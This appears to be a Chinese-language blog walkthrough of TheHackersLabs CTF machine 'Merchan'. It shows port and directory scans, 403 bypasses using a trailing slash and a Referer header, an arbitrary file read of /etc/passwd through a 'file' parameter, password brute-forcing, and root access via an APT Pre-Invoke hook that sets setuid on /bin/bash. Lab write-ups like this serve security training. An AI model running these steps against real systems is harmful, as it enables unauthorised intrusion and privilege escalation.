<h1>Merchan</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/109">https://labs.thehackerslabs.com/machine/109</a>
</blockquote>
<img src="/post-images/TheHackersLabsMerchan/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ Merchan nmap -sT -min-rate 10000 -p- 192.168.56.99
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 12:48 CST
Nmap scan report for 192.168.56.99
Host is up (0.00078s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:1C:7F:2A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.81 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Merchan nmap -sT -A -p 22,80 192.168.56.99 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 12:49 CST
Nmap scan report for 192.168.56.99
Host is up (0.00048s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
| 256 da:68:54:15:39:b8:44:ed:b9:08:4c:59:e5:89:50:08 (ECDSA)
|_ 256 b4:7d:98:a8:01:e8:3b:17:43:24:43:39:3a:b4:b8:50 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://merchan.thl
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:1C:7F:2A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.48 ms 192.168.56.99

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds
</code></pre>
<h2>Web</h2>
<h3>子域名 &#x26; 目录 爆破</h3>
访问 <code>HTTP</code> ，这个页面什么功能点都没有
<img src="/post-images/TheHackersLabsMerchan/image1.png" alt="image.png">
尝试爆破一下子域名，只有 <code>www</code>
<pre><code class="hljs language-bash">➜ Merchan ffuf -u 'http://merchan.thl/' -H 'host: FUZZ.merchan.thl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --fw=18 

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://merchan.thl/
 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header : Host: FUZZ.merchan.thl
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response words: 18
________________________________________________

www [Status: 200, Size: 7235, Words: 2986, Lines: 131, Duration: 866ms]
:: Progress: [114442/114442] :: Job [1/1] :: 152 req/sec :: Duration: [0:00:54] :: Errors: 0 ::
</code></pre>
目录爆破，能扫描出来一个 <code>secret.js</code>
<pre><code class="hljs language-bash">➜ Merchan feroxbuster --url http://merchan.thl/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --filter-status 404,503,400 -x js,txt,zip
...
404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 311c http://merchan.thl/images => http://merchan.thl/images/
200 GET 7l 36w 330c http://merchan.thl/js/scripts.js
200 GET 10826l 22299w 236792c http://merchan.thl/css/styles.css
301 GET 9l 28w 311c http://merchan.thl/assets => http://merchan.thl/assets/
301 GET 9l 28w 308c http://merchan.thl/css => http://merchan.thl/css/
301 GET 9l 28w 307c http://merchan.thl/js => http://merchan.thl/js/
200 GET 8l 29w 28898c http://merchan.thl/assets/favicon.ico
200 GET 563l 3920w 380306c http://merchan.thl/images/sudadera.png
200 GET 139l 592w 68236c http://merchan.thl/images/camiseta.jpg
200 GET 186l 943w 74237c http://merchan.thl/images/llavero.jpg
200 GET 130l 399w 7235c http://merchan.thl/
200 GET 1l 15w 1365c http://merchan.thl/secret.js
</code></pre>
被混淆过了
<img src="/post-images/TheHackersLabsMerchan/image2.png" alt="image.png">
直接通过 AI 复原即可
<pre><code class="hljs language-bash">function createLink(){
 const _0xd35862 = _0x4b23, // _0xd35862 是解码函数的别名
 _0x398463 = '2e81eb4e952a3268babddecad2a4ec1e.php',
 _0x199a7f = document[_0xd35862(0x17b)]('a');

 _0x199a7f[_0xd35862(0x17d)] = _0xd35862(0x171);
 _0x199a7f[_0xd35862(0x177)] = _0x398463;
 document[_0xd35862(0x174)][_0xd35862(0x179)](_0x199a7f);
}
_0xd35862(0x17b) -> 解码后是 'createElement'
_0xd35862(0x17d) -> 解码后是 'innerText'
_0xd35862(0x171) -> 解码后是 'Haga\x20click\x20aqui' (即 "Haga click aqui")
_0xd35862(0x177) -> 解码后是 'href'
_0xd35862(0x174) -> 解码后是 'body'
_0xd35862(0x179) -> 解码后是 'appendChild'
</code></pre>
也就是会打开 <code>2e81eb4e952a3268babddecad2a4ec1e.php</code>
但是我们跳转后发现，还是会提示 <code>403</code> （任何 <code>php</code> 页面都是）
<img src="/post-images/TheHackersLabsMerchan/image3.png" alt="image.png">
尝试<code>bypass403</code> ，直接加上斜杠即可
<img src="/post-images/TheHackersLabsMerchan/image4.png" alt="image.png">
但是访问还是空白的
<img src="/post-images/TheHackersLabsMerchan/image5.png" alt="image.png">
<h3>模糊测试</h3>
我们对其进行模糊测试，首先测试任意文件读取
但是加上参数后，还是提示了 <code>403</code>
<pre><code class="hljs language-bash">http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?FUZZ=/etc/passwd
</code></pre>
再次进行绕过
这里工具并无法进行绕过了
<img src="/post-images/TheHackersLabsMerchan/image6.png" alt="image.png">
我们进行手动绕过，最后加上 <code>Referer</code> 即可绕过
<img src="/post-images/TheHackersLabsMerchan/image7.png" alt="image.png">
我们再次进行
<pre><code class="hljs language-bash">➜ Merchan ffuf -u 'http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -H 'Referer: http://merchan.thl/' --fs=0

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://merchan.thl/2e81eb4e952a3268babddecad2a4ec1e.php?FUZZ=/etc/passwd
 :: Wordlist : FUZZ: /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt
 :: Header : Referer: http://merchan.thl/
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 0
________________________________________________

file [Status: 200, Size: 1187, Words: 27, Lines: 23, Duration: 0ms]
</code></pre>
<h3>任意文件读取 &#x26; 密码爆破</h3>
枚举出来参数 <code>file</code>
<img src="/post-images/TheHackersLabsMerchan/image8.png" alt="image.png">
我们读取 <code>2e81eb4e952a3268babddecad2a4ec1e.php</code> 的源码
<pre><code class="hljs language-bash">&#x3C;?php&#x3C;br />
$file = $_GET['file'] ?? '';&#x3C;br />
if ($file) {&#x3C;br />
echo nl2br(file_get_contents($file));&#x3C;br />
}&#x3C;br />
?>&#x3C;br />
</code></pre>
到这里测试了可以使用伪协议但是不能执行语句，也不可以包含，<code>julia</code> 前 <code>5000</code> 也没爆破出来有点没思路
<img src="/post-images/TheHackersLabsMerchan/image9.png" alt="image.png">
看了下 <code>WP</code>，发现密码在 <code>rockyou</code> <code>7000</code>行… (PS：规则明明说爆破需要设置不超<code>5000</code>行的)
<img src="/post-images/TheHackersLabsMerchan/image10.png" alt="image.png">
用户家目录下读取 <code>user.txt</code>
<pre><code class="hljs language-bash">julia@Thehackerslabs-merchan:~$ cat user.txt 
b4axxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
<code>sudo</code> 权限
<pre><code class="hljs language-bash">julia@Thehackerslabs-merchan:~$ sudo -l
sudo: unable to resolve host Thehackerslabs-merchan: Fallo temporal en la resolución del nombre
[sudo] contraseña para julia: 
Sorry, user julia may not run sudo on Thehackerslabs-merchan.
</code></pre>
上传 <code>linpeas</code>
<pre><code class="hljs language-bash">╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files 
/dev/mqueue
/dev/shm
/etc/apt/apt.conf.d
/home/julia
</code></pre>
看到一个有趣的可写目录 <code>/etc/apt/apt.conf.d</code>
<blockquote>
<a href="https://zhuanlan.zhihu.com/p/1888937295215851002">https://zhuanlan.zhihu.com/p/1888937295215851002</a>
</blockquote>
当系统运行 <code>apt update</code> 时，会加载 <code>/etc/apt/apt.conf.d</code> 文件夹的所有配置文件
<pre><code class="hljs language-scheme">echo 'APT::Update::Pre-Invoke {"chmod +s /bin/bash"}' > a
</code></pre>
过了一会之后我们再查看 <code>/bin/bash</code> 权限
<img src="/post-images/TheHackersLabsMerchan/image11.png" alt="image.png">
读取 <code>root.txt</code>
<pre><code class="hljs language-scheme">bash-5.2# cat root.txt 
056e7xxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>

Merchan https://labs.thehackerslabs.com/machine/109 Recon PortScan Web 子域名 & 目录 爆破 访问 HTTP ，这个页面什么功能点都没有 尝试爆破一下子域名，只有 www 目录爆破，能扫描出来一个 secret.js 被混淆过了...

TheHackersLabs - Merchan

TheHackersLabs - THLPWN

念念碎